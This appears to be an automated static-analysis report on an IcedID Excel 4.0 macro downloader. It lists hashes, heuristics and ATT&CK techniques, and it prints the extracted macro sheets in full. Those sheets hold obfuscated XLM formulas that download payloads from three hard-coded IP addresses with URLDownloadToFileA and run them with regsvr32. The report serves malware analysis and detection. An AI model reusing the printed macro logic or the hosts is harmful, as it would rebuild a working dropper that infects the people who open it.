IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 d159194d726cb0f2…

MALICIOUS

Office (OOXML)

342.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: 5816f428ba1ca2909664dd3b4d6204be SHA-1: 2c126da0d8ab49aabf3a6d05dde12ad7f15b1115 SHA-256: d159194d726cb0f25e3182d3d2cc44c8cdb1c281bc12de887f747565184e9dc4
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer

This Excel file contains Excel 4.0 macros that leverage dangerous functions like FORMULA and EXEC to download and execute a payload. The macros construct and execute commands using regsvr32 to download files named 'Post.storg', 'Post.storg1', and 'Post.storg2'. The ClamAV detection explicitly names this sample as IcedID, a known downloader.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (10 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, RUN, HALT, GOTO critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 14 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3404 bytes
SHA-256: a7a57fb77065adde5c2f398aafb1e0f89a213d89b34ecf4f3f70c0afdabb80dc
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E92984D-4438-4550-ABFE-0512EE9AFBF8}"><dimension ref="F7:K21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="2" width="8" style="1"/><col min="3" max="4" width="8" style="1" customWidth="1"/><col min="5" max="6" width="8" style="1"/><col min="7" max="7" width="8" style="1" customWidth="1"/><col min="8" max="9" width="8" style="1"/><col min="10" max="10" width="8" style="1" customWidth="1"/><col min="11" max="16384" width="8" style="1"/></cols><sheetData><row r="7" spans="6:11" x14ac:dyDescent="0.25"><c r="J7" s="1" t="b"><f>NOW()=FORMULA(G12&amp;Pervi2!F13&amp;Pervi2!E14,J11)</f><v>0</v></c></row><row r="9" spans="6:11" x14ac:dyDescent="0.25"><c r="J9" s="1"><f>NOW()</f><v>44351.52346099537</v></c></row><row r="10" spans="6:11" x14ac:dyDescent="0.25"><c r="I10" s="1" t="s"><v>0</v></c></row><row r="12" spans="6:11" x14ac:dyDescent="0.25"><c r="F12" s="1" t="s"><v>1</v></c><c r="G12" s="1" t="str"><f>F12&amp;F13</f><v>=REGIS</v></c></row><row r="13" spans="6:11" x14ac:dyDescent="0.25"><c r="F13" s="1" t="s"><v>2</v></c><c r="J13" s="1" t="e"><f>Kokiser(0,K13&amp;I14&amp;J9&amp;I10,sobr!D19,0,0)</f><v>#NAME?</v></c><c r="K13" s="1" t="str"><f>K16&amp;K17&amp;K18</f><v>http://</v></c></row><row r="14" spans="6:11" x14ac:dyDescent="0.25"><c r="F14" s="1" t="s"><v>13</v></c><c r="I14" s="1" t="str"><f>"45.144.31.2/"</f><v>45.144.31.2/</v></c></row><row r="15" spans="6:11" x14ac:dyDescent="0.25"><c r="F15" s="1" t="s"><v>3</v></c><c r="I15" s="1" t="str"><f>"130.0.236.187/"</f><v>130.0.236.187/</v></c><c r="J15" s="1" t="e"><f>Kokiser(0,K13&amp;I15&amp;J9&amp;I10,sobr!E19,0,0)</f><v>#NAME?</v></c></row><row r="16" spans="6:11" x14ac:dyDescent="0.25"><c r="F16" s="1" t="s"><v>4</v></c><c r="I16" s="1" t="str"><f>"80.85.158.229/"</f><v>80.85.158.229/</v></c><c r="K16" s="1" t="str"><f>"ht"</f><v>ht</v></c></row><row r="17" spans="6:11" x14ac:dyDescent="0.25"><c r="F17" s="1" t="s"><v>5</v></c><c r="J17" s="1" t="e"><f>Kokiser(0,K13&amp;I16&amp;J9&amp;I10,sobr!F19,0,0)</f><v>#NAME?</v></c><c r="K17" s="1" t="str"><f>"tp"</f><v>tp</v></c></row><row r="18" spans="6:11" x14ac:dyDescent="0.25"><c r="F18" s="1" t="s"><v>6</v></c><c r="K18" s="1" t="str"><f>"://"</f><v>://</v></c></row><row r="21" spans="6:11" x14ac:dyDescent="0.25"><c r="J21" s="1" t="b"><f>RUN(sobr!H4)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1791 bytes
SHA-256: ef4beac33700e9f3fc349170f198acb43da249b168ba90039feac302d6144012
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{152C4A83-66DD-4326-8571-1E54E357A647}"><dimension ref="E13:F15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="13" spans="5:6" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>Pervi!F14</f><v>TER("u"&amp;"R"&amp;"l"&amp;"M"&amp;"o"&amp;"n","URL</v></c></row><row r="14" spans="5:6" x14ac:dyDescent="0.25"><c r="E14" s="1" t="str"><f>F14&amp;F15</f><v>DownloadToFileA","JJCCBB","Kokiser",,1,9)</v></c><c r="F14" s="1" t="str"><f>Pervi!F15&amp;Pervi!F16</f><v>DownloadToFile</v></c></row><row r="15" spans="5:6" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>Pervi!F17&amp;Pervi!F18</f><v>A","JJCCBB","Kokiser",,1,9)</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2323 bytes
SHA-256: 28f37cd7b934a54360fd11ea13360f01a00631f48eb50671062ca2150546ffe1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7A82D335-2474-445A-8857-B2F2E1287B57}"><dimension ref="D8:K19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="4:11" x14ac:dyDescent="0.25"><c r="D8" s="1" t="s"><v>1</v></c></row><row r="9" spans="4:11" x14ac:dyDescent="0.25"><c r="D9" s="1" t="s"><v>7</v></c></row><row r="10" spans="4:11" x14ac:dyDescent="0.25"><c r="D10" s="1" t="s"><v>8</v></c><c r="H10" s="1" t="b"><f>NOW()=FORMULA(K10&amp;K11,I10)</f><v>0</v></c><c r="K10" s="1" t="str"><f>D9&amp;D10</f><v>EXE</v></c></row><row r="11" spans="4:11" x14ac:dyDescent="0.25"><c r="K11" s="1" t="str"><f>D12</f><v>C("regsvr</v></c></row><row r="12" spans="4:11" x14ac:dyDescent="0.25"><c r="D12" s="1" t="s"><v>9</v></c></row><row r="15" spans="4:11" x14ac:dyDescent="0.25"><c r="D15" s="1" t="s"><v>10</v></c><c r="E15" s="1" t="s"><v>11</v></c><c r="F15" s="1" t="s"><v>12</v></c></row><row r="17" spans="4:8" x14ac:dyDescent="0.25"><c r="H17" s="1" t="b"><f>RUN(sobr1!G3)</f><v>0</v></c></row><row r="19" spans="4:8" x14ac:dyDescent="0.25"><c r="D19" s="1" t="str"><f>"..\Post.storg"</f><v>..\Post.storg</v></c><c r="E19" s="1" t="str"><f>"..\Post.storg1"</f><v>..\Post.storg1</v></c><c r="F19" s="1" t="str"><f>"..\Post.storg2"</f><v>..\Post.storg2</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1438 bytes
SHA-256: f52a1fe96d1e917dc5a90da756eacb9f414bac9843fbf067523f895adb4624ef
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E2A17D7F-3482-40D4-93FE-A4279C188004}"><dimension ref="G8:G17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="8" spans="7:7" x14ac:dyDescent="0.25"><c r="G8" s="1" t="b"><f>NOW()=FORMULA(sobr!I10&amp;sobr!D15,H8)</f><v>0</v></c></row><row r="17" spans="7:7" x14ac:dyDescent="0.25"><c r="G17" s="1" t="b"><f>RUN(sobr2!H6)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1503 bytes
SHA-256: f4f64564e97e71d44e1503c633738ac0b750b2ac1025ed07c37397cf3fb87238
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{2DF50EDB-73C2-476B-A52B-D0B8DEEA2B12}"><dimension ref="H12:H19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="12" spans="8:8" x14ac:dyDescent="0.25"><c r="H12" s="1" t="b"><f>NOW()=FORMULA(sobr!I10&amp;sobr!E15,I12)</f><v>0</v></c></row><row r="19" spans="8:8" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>RUN(sobr3!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1441 bytes
SHA-256: 6dd2f8642c594514fca348a16d2e9641b3492a2cd0476b30212f180cdabb1f1f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{A437CB3C-D058-47AA-8D02-E2620B07A475}"><dimension ref="H14:H21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="7.85546875" style="1"/></cols><sheetData><row r="14" spans="8:8" x14ac:dyDescent="0.25"><c r="H14" s="1" t="b"><f>NOW()=FORMULA(sobr!I10&amp;sobr!F15,I14)</f><v>0</v></c></row><row r="21" spans="8:8" x14ac:dyDescent="0.25"><c r="H21" s="1" t="b"><f>RUN(zap1!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet7.xml 1440 bytes
SHA-256: 507d7abac4580456d533403d676f5f72786f3c74d36e6ad1bbb4f9f627dea886
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{AEB6F3F2-DC19-4887-A031-91B4EB1869BC}"><dimension ref="H10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>NOW()=FORMULA(sobr!D8&amp;sobr1!H8,H13)</f><v>0</v></c></row><row r="18" spans="8:8" x14ac:dyDescent="0.25"><c r="H18" s="1" t="b"><f>RUN(zap2!I6)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet8.xml 1442 bytes
SHA-256: e92dea39619a5dcfdc889538b2980bccadbad3dc9a8c34752db39769a0e204b9
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E1739915-B9EA-432B-AA48-899F85E40FD8}"><dimension ref="I15:I22"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.28515625" style="1"/></cols><sheetData><row r="15" spans="9:9" x14ac:dyDescent="0.25"><c r="I15" s="1" t="b"><f>NOW()=FORMULA(sobr!D8&amp;sobr2!I12,I18)</f><v>0</v></c></row><row r="22" spans="9:9" x14ac:dyDescent="0.25"><c r="I22" s="1" t="b"><f>RUN(zap3!J11)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet9.xml 1485 bytes
SHA-256: 62fd2f53a7df5bfcdb8649d1defc1852b3e408758e6bca949c6ddee9cc672834
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{78D9C269-F763-46CC-84F6-334AE824A649}"><dimension ref="J15:J20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="7.7109375" style="1"/></cols><sheetData><row r="15" spans="10:10" x14ac:dyDescent="0.25"><c r="J15" s="1" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=FORMULA(sobr!D8&amp;sobr3!I14,J18)=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="20" spans="10:10" x14ac:dyDescent="0.25"><c r="J20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_09.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1428 bytes
SHA-256: 9f2c348b6277949a52e634dd134eba0fdcf672840d76d752a3cea0b5f52fb2aa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0CBDCEAD-4005-470A-9C61-3C84E3A19D6A}"><dimension ref="A11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="9.5703125" style="1" bestFit="1" customWidth="1"/><col min="2" max="16384" width="8" style="1"/></cols><sheetData><row r="11" spans="1:1" x14ac:dyDescent="0.25"><c r="A11" s="1" t="e"><f>GOTO(Pervi!J5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.